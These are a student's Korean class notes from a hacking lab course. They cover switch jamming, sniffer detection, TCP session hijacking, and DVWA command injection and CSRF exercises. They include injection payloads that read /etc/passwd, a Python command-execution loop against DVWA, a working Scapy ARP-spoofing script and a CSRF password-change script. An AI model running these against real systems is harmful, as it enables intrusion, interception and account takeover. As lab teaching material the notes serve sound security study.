highstar9413 2025. 2. 20. 17:38

오전수업

1. 스위치 재밍(Switch Jamming) : 스위치 -> 허브로 동작  Mac Flooding → Dos & DDos

- 서비스 거부 공격(DoS)
- 스위치가 MAC 주소 테이블을 기반으로 패킷을 포트에 스위칭할 때 정상적인 스위치 기능을 마비시키는 공격
- 스위치에 저장 용량 이상의 MAC 주소를 보내 스위치 기능을 잃고 해당 스위치를 더미 허브처럼 작동하게 만듦.
- 스위치 재밍은 MAC 테이블을 위한 캐시 공간에 버퍼 오버플로 공격을 실시하는 것이라고 생각해도 무방 -> 시스템 해킹
   IP		   Mac Address		서버명
172.1.8.1 	00:50:56:c0:00:08	Gateway
172.1.8.2 	00:50:56:e3:2a:cf	Gateway
172.1.8.132 	00:0c:29:10:02:a5	Ubuntu 22.04	board, DVWA
172.1.8.138 	00:0c:29:93:87:f6	Kali1		hacker
172.1.8.135 	00:0c:29:c9:16:50	Rocky9		board, DVWA
172.1.8.136	00:0c:29:3d:e2:94	kali2		board, DVWA
172.1.8.137	00:0c:29:24:55:57	Rocky9		DNS

1) 실습 - 스위치 재밍 공격 

- 해커	172.1.8.138 	00:0c:29:93:87:f6	Kali1
- 타겟	172.1.8.135 	00:0c:29:c9:16:50	Rocky9
- 서버	172.1.8.132 	00:0c:29:10:02:a5	Ubuntu 22.04

(1) 해커는 스위치 재밍 공격 수행

macof 사용법 확인 - dsniff 설치해야하면 진행하면 됨.
현재 Mac Table 확인

wireshark 백그라운드로 실행 - eth0 - arp

macof 명령어만 사용해도 수많은 Mac Address를 만들어 보냄. - 실행중이던 wireshark 꺼짐.
페이지 접속 후 macof 실행 진행 - 재접속 잘됨 -> 웹페이지 기본적으로 보안 정책되어있기때문

 

2. 스니핑 & 스푸핑의 보안 대책

- ARP Request
- ARP Reply

1) ARP를 이용한 스니퍼 탐지(도청 장치)
	-> 위조된 ARP Request를 보냈을 때 ARP Reply가 오면 스니퍼가 존재하는 것
    
2) DNS를 이영한 스니퍼 탐지
	-> DNS lookup (nslookup, host, dig)를 이용한 도메인 감시
    
3) 유인을 이용한 스니퍼 탐지 - 허니팟(가상 네트워크)
	-> 관리자가 임의의 가상 ID & PW를 네트워크에 뿌린 후 누가 사용하는지 체크

4) Ping을 이용한 스니퍼 탐지
	-> 임의의 IP주소로 Ping을 보냈을 때 Reply가 오면 스니퍼가 존재하는 것
    
5) ARP watch를 이용한 스니퍼 탐지
	-> 초기에 IP & Mac Address를 저장해놓고 변경이 있는 경우 관리자에게 이메일로 통보
    
6) Nmap을 이용한 스니퍼 탐지

7) SSL 구현

arpwatch 설치
arpwatch 사용법 확인 - 이보다 더 좋은게 많아서 굳이 사용은 안함.
스푸핑 안당할 때 정상적인 상황 - 스푸핑 당할 때는 Mac Address 한개가 아님.

 

3. 세션 하이재킹 - 세션 유지 중에 중간에 가로채기

☞ 세션(Session)의 의미
- 컴퓨터 시스템에서 세션은 사용자가 특정 컴퓨터, 네트워크 또는 소프트웨어 서비스에 로그인하거나 액세스할 때 시작
- 사용자가 서비스에서 로그아웃하거나 컴퓨터를 종료하면 세션이 종료되며, 세션이 연결된 동안 사용자의 활동과 관련된 정보를 임시로 저장할 수 있음.
- 세션 하이재킹은 케빈 미트닉이 시모무라 츠토무의 컴퓨터를 공격해 자료를 빼간 후 관리자인 그를 조롱하고 달아나 사건에 쓰인 방법

1) TCP 세션 하이재킹

- 로컬 세션 하이재킹 공격과 원격 세션 하이재킹 공격이 있음
- TCP 세션 하이재킹은 서버와 클라이언트가 통신할 때 TCP 시퀀스 넘버를 제어하는데 문제점이 있음을 알고 이를 파고든 공격
- 원격 세션 하이재킹 공격 역시 기본 알고리즘은 로컬 세션 하이재킹 공격과 비슷

차이:  로컬 세션 하이재킹 공격은 공격 대상을 탐지할 수 있으며 서버와 클라이언트가 통신할 때 시퀀스 넘버를 알아낼 수 있지만, 원격 세션 하이재킹 공격은 불가능

- TCP 세션 하이재킹은 클라이언트와 서버 간의 통신을 관찰할 수 있을 뿐만 아니라 트러스트를 이용한 세션은 물론 텔넷, FTP 등 TCP를 이용한 거의 모든 세션을 갈취하는 것이 가능
- 인증에 관한 문제를 해결하기 위해 도입된 일회용 패스워드(OTP), 토큰 기반 인증을 이용한 세션 갈취도 가능

Client			Server
SYN 0----------------->
<-------------------SYN(0)+ACK(+1)
ACK------------------->

2) 실습 - 세션 하이재킹

   IP		   Mac Address		서버명
172.1.8.1 	00:50:56:c0:00:08	Gateway
172.1.8.2 	00:50:56:e3:2a:cf	Gateway
172.1.8.132 	00:0c:29:10:02:a5	Ubuntu 22.04	board, DVWA
172.1.8.138 	00:0c:29:93:87:f6	Kali1		hacker
172.1.8.135 	00:0c:29:c9:16:50	Rocky9		board, DVWA
172.1.8.136	00:0c:29:3d:e2:94	kali2		board, DVWA
172.1.8.137	00:0c:29:24:55:57	Rocky9		DNS
- 해커	172.1.8.138 	00:0c:29:93:87:f6	Kali1
- 타겟	172.1.8.135 	00:0c:29:c9:16:50	Rocky9
- 서버	172.1.8.132 	00:0c:29:10:02:a5	Ubuntu 22.04
목표 : 텔넷으로 접속중인 세션을 로그인을 하지 않고 hunt를 이용하여 탈취
Tools : arpspoof, shijack

- 실습 순서
(1) 칼리에서 사전작업
(2) 타겟이 서버에 텔넷 접속
(3) 해커는 ARP 스푸핑으로 패킷을 스니핑
(4) 타겟과 서버의 통신을 끊고 해당 세션을 해커가 탈취
(1) 칼리에서 사전작업
- shijack 압축파일 다운로드 후 코리아 파일 생성 후 압축풀기

shijack 패키지 확인
shijack사용법

(2) 타겟이 서버에 텔넷 접속

(3) 해커는 ARP스푸핑으로 패킷을 스니핑
첫번째, 새로운 터미널창 추가하여 Fragrouter 실행

없으면 설치 후 진행

두번째, 터미널 창에서 ARP스푸핑 실행

사용법
랜카드 하나면 인터페이스 안적어도 됨.

세번째, 터미널창에서 ARP스푸핑 실행 (서버->타겟)

네번째, 터미널창에서 세션하이재킹 공격을 실행
포트번호는 fragrouter에서 확인 가능하다.

이때 타겟의 터미널에서 명령 입력 정상으로 보이지 않는다. Got packet! -> 세션 하이재킹 성공했음 의미 그러면 타겟의 터미널창이 먹통이된다.
서버의 홈디렉터리 확인
세션하이재킹 공격한 터미널에서 명령어 입력
세션하이재킹에서 입력한 명령어로 생성된 것 확인 가능

 


오후수업

1. DVWA

웹해킹 DVWA : command Injection

Username: admin
Security Level: low
Locale: en
PHPIDS: disabled
SQLi DB: mysql
▶ Command Injection Attack
- command injection attack은 명령어를 삽입한다는 뜻으로, 웹 요청에 시스템 명령어를 보내 이를 실행하도록 하는 방법이다. 
- 웹 내부에서 시스템 명령어를 실행하는 경우 사용자가 입력한 값이 올바른지 검사하지 않고 시스템 명령어의 일부분으로 전달한다면, 해커는 이 값을 조작하여 다른 시스템 명령어를 실행할 수 있다. 
- 커맨드 인젝션이란 사용자가 취약한 웹사이트의 입력 폼이나 기타 방법을 이용하여 서버에 직접적, 간접적으로 명령어(Bash, CMD 등)를 전송하여 실행시키는 공격 방법이다. 
- RCE(Remote Command Execution)이라고도 하며 입력 폼뿐만이 아니라 사용자의 쿠키값, 레퍼러, HTTP 헤더 등을 서버 측에서 읽어 적절한 검증 없이 시스템 호출에 포함한다면 공격 벡터가 될 수 있다. 
- 이 공격이 가능하려면 웹 애플리케이션에서 사용자 입력을 기반으로 system( ), exec( ), os.system( ) 같은 시스템 호출 함수를 사용해야 한다. 
- 이 함수는 웹서버의 권한으로 호출되기 때문에 일반 사용자보다 높은 권한으로 실행될 수 있으며 일반적으로 읽지 못하는 파일이나 디렉토리를 읽을 수 있다. 
- 그래서 웹 애플리케이션을 구동하는 사용자 계정을 따로 분리하고 권한을 세부적으로 설정해주는 것이 커맨드 인젝션을 예방하는 데 도움이 된다. 
- 물론 제일 좋은 방법은 직접적으로 시스템 호출을 사용하지 않고 라이브러리로 대체하거나 호출에 사용되는 입력값을 최대한 검증하는 것이다(OWASP 문서)

https://owasp.org/www-project-top-ten/

 

OWASP Top Ten | OWASP Foundation

The OWASP Top 10 is the reference standard for the most critical web application security risks. Adopting the OWASP Top 10 is perhaps the most effective first step towards changing your software development culture focused on producing secure code.

owasp.org

- 오픈소스 웹 애플리케이션 보안 프로젝트

▶ Command Injection Attack LOW단계
♪ 시나리오 ♪ 
- 웹페이지에 IP주소를 입력하면 핑테스트한 결과를 출력하는 홈페이지가 있다.
Ping : 네트워크에 이상이 있는지 자가 진단용 프로그램
입력폼에 127.0.0.1 IP주소 입력

☞ Low Level Source

<?php

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input
    $target = $_REQUEST[ 'ip' ]; 

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
        // Windows
        $cmd = shell_exec( 'ping  ' . $target ); //ping과 IP
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target ); 
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
☞ Low Level 공략
- Hint. 여러개의 명령어를 사용할 수 있다는데...
	-> ;, &&, |
    
ex) 127.0.0.1; ls
ex) 127.0.0.1; id
ex) 127.0.0.1; cat /etc/passwd

위의 명령을 다른 방향으로 사용할 경우
ex) ; ls 또는 ;ls
ex) ; id 또는 ;id
ex) ; cat /etc/passwd 또는 ;cat /etc/passwd

127.0.0.1; ls
127.0.0.1; id
127.0.0.1; cat /etc/passwd

import requests
from bs4 import BeautifulSoup

URL = "http://172.1.8.136/dvwa/vulnerabilities/exec/"

cookies =  {
            'PHPSESSID' : 'b80vn822f42eo3f1rgpo0dh5on',
            'security' : 'low'
        }

while True : 
    CMD = input("공격할 명령어를 입력해주세요[q를 누르면 종료합니다] : ")

    if CMD == 'q' :
        break

    cmd_data = { 'ip' : '|' + CMD, 'Submit' : 'Submit'} //|와 ;은 같은 것이므로 |대신;써도 무방.

    res = requests.post(URL, data=cmd_data, cookies=cookies)
    soup = BeautifulSoup(res.text, 'html.parser')
    result = soup.pre.get_text()
    print(result)

# ARP Spoofing
# cmd에서 설치 후 진행
# pip install scapy
# pip isntall keyboard

from scapy.all import *
import keyboard

def getMac(ip):
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

def arpSpoofing(target1, target2, target1mac, target2mac):
    while(True):
        #op=1 request, op=2 reply
        send(ARP(op=2, psrc=target1, pdst=target2, hwdst=target2mac), verbose=0)
        send(ARP(op=2, psrc=target2, pdst=target1, hwdst=target1mac), verbose=0)
        if keyboard.is_pressed("q"):
            print("\nARP Spoofing STOP.\n")
            break

def main():
    target1 = input("타겟 1 IP 주소를 입력하세요 : ")
    target2 = input("타겟 2 IP 주소를 입력하세요 : ")
    print("ARP 스푸핑 공격을 시작합니다. 종료는 'q'를 눌러주세요.")

    target1mac = getMac(target1)
    target2mac = getMac(target2)

    arpSpoofing(target1, target2, target1mac, target2mac)

main()
☞ Medium Level 공략
-> 미디엄 레벨의 소스코드를 보면 &&, ; 기호만 체크하고 있으므로,
여러개의 명령어를 사용할 수 있는 | 기호를 이용하여 우회할 수 있게되었다.
ex) | ls
ex) | id
ex) | cat /etc/passwd

위의 명령을 다른 방향으로 사용할 경우
ex) | ls 또는 |ls
ex) | id 또는 |id
ex) | cat /etc/passwd 또는 |cat /etc/passwd

❘id

☞ Medium Level Source

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',		// && 기호가 들어있으면 삭제해라
        ';'  => '',		// ; 기호가 들어있으면 삭제해라
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>
☞ High Level 공략
-> 의도치않게 관리자의 실수를 이용하여 우회 공격에 성공할 수 있게 되었다.

ex) |ls
ex) |id
ex) |cat /etc/passwd

띄워서 쓰면 막힘.
☞ High Level Source

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',		//관리자가 코드 작성할 때 오타 발생
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the characters in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

 

CSRF(Cross Site Request Forgery)란?: 사이트간의 요청 위조 <서버를 공격> <==> XSS(크로스 사이트 스크립트) <클라이언트측 공격>

- 사용자는 의도하지 않았는데 해커가 만들어 놓은 함정에 빠져 피해를 입는 경우이다.
- CSRF의 보안이 잘 되어있지 않는다면 생각보다 많은 피해가 초래될 것이다.
- CSRF 또는 XSRF라고 줄여 부르기도 하는 이 공격은 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를
특정 Wed사이트에 요청하게 하는 공격을 말한다.

예) 2008년 1,800만명의 정보를 해킹 당한 옥션 사례

- CSRF 공격의 목적은 수정, 삭제, 등록, 권한 상승, 정보유출 등이 있다.
- CSRF는 공격자가 웹 어플리케이션의 기능을 미리 알고 있어야 공격이 가능하다.
- 상위 권한의 사용자를 대상으로 CSRF 공격을 하기 위해서는 상위
☞ CSRF 동작 방법
1) 해커는 특정 은행 사이트의 돈을 이체하는 http_requests를 위조하여 생성
2) 해당 은행 사이트에 로그인한 유저들을 대상으로 위조된 http_requests를 클릭하도록 하이퍼링크가 첨부된 내용을 전송(피싱문자..)
	-> [긴급] 보안 공지 -> 서버가 해킹당하여 개인별 보안점검을 하고자 하오니 보내드린 링크를 클릭하여 최우선적으로 암호부터 변경해주시기 바랍니다.
   	-> [긴급] 채용 공지 -> 내용 : 이력서를 보고 연락드립니다. 당사에 지원의사가 있으시면 보내드린 링크를 클릭하여 당사 이력서를 작성해주시기 바랍니다.
    					작성이 완료되는 순서대로 면접 날짜를 정하여 따로 연락하도록 하겠습니다.
3) 사용자가 링크를 클릭하면, 금액을 송금하는 requests(요청값)가 은행으로 발송된다.
4) 해당 은행은 사용자의 요청을 받고 금액 송금을 승인하여 처리한다.
	-> 최근에는 100만원 이상의 송금을 할 경우 은행에서 전화하여 사전에 확인 작업을 거친다.
- CSRF LOW Attack
특정 홈페이지에서 주기적으로 암호를 변경하도록 하였다.
☞ CSRF LOW Source

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
192.168.10.113 - IP
☞ CSRF LOW 공략
import requests
from bs4 import BeautifulSoup

# password_new, password_conf, Change의 값은 모두 제거한다.
URL = "http://192.168.10.113/dvwa/vulnerabilities/csrf/?password_new=&password_conf=&Change= HTTP/1.1"

cookies =  {
            'PHPSESSID' : 'l0karh27l94au7islfp4bka1sh',
            'security' : 'low'
        }

params = {
        'password_new' : '새로운 암호',
        'password_conf' : '암호 확인',
        'Change' : 'Change'
    }

result = requests.get(URL, params=params, cookies=cookies)

print("타켓의 암호가 올바르게 변경되었습니다")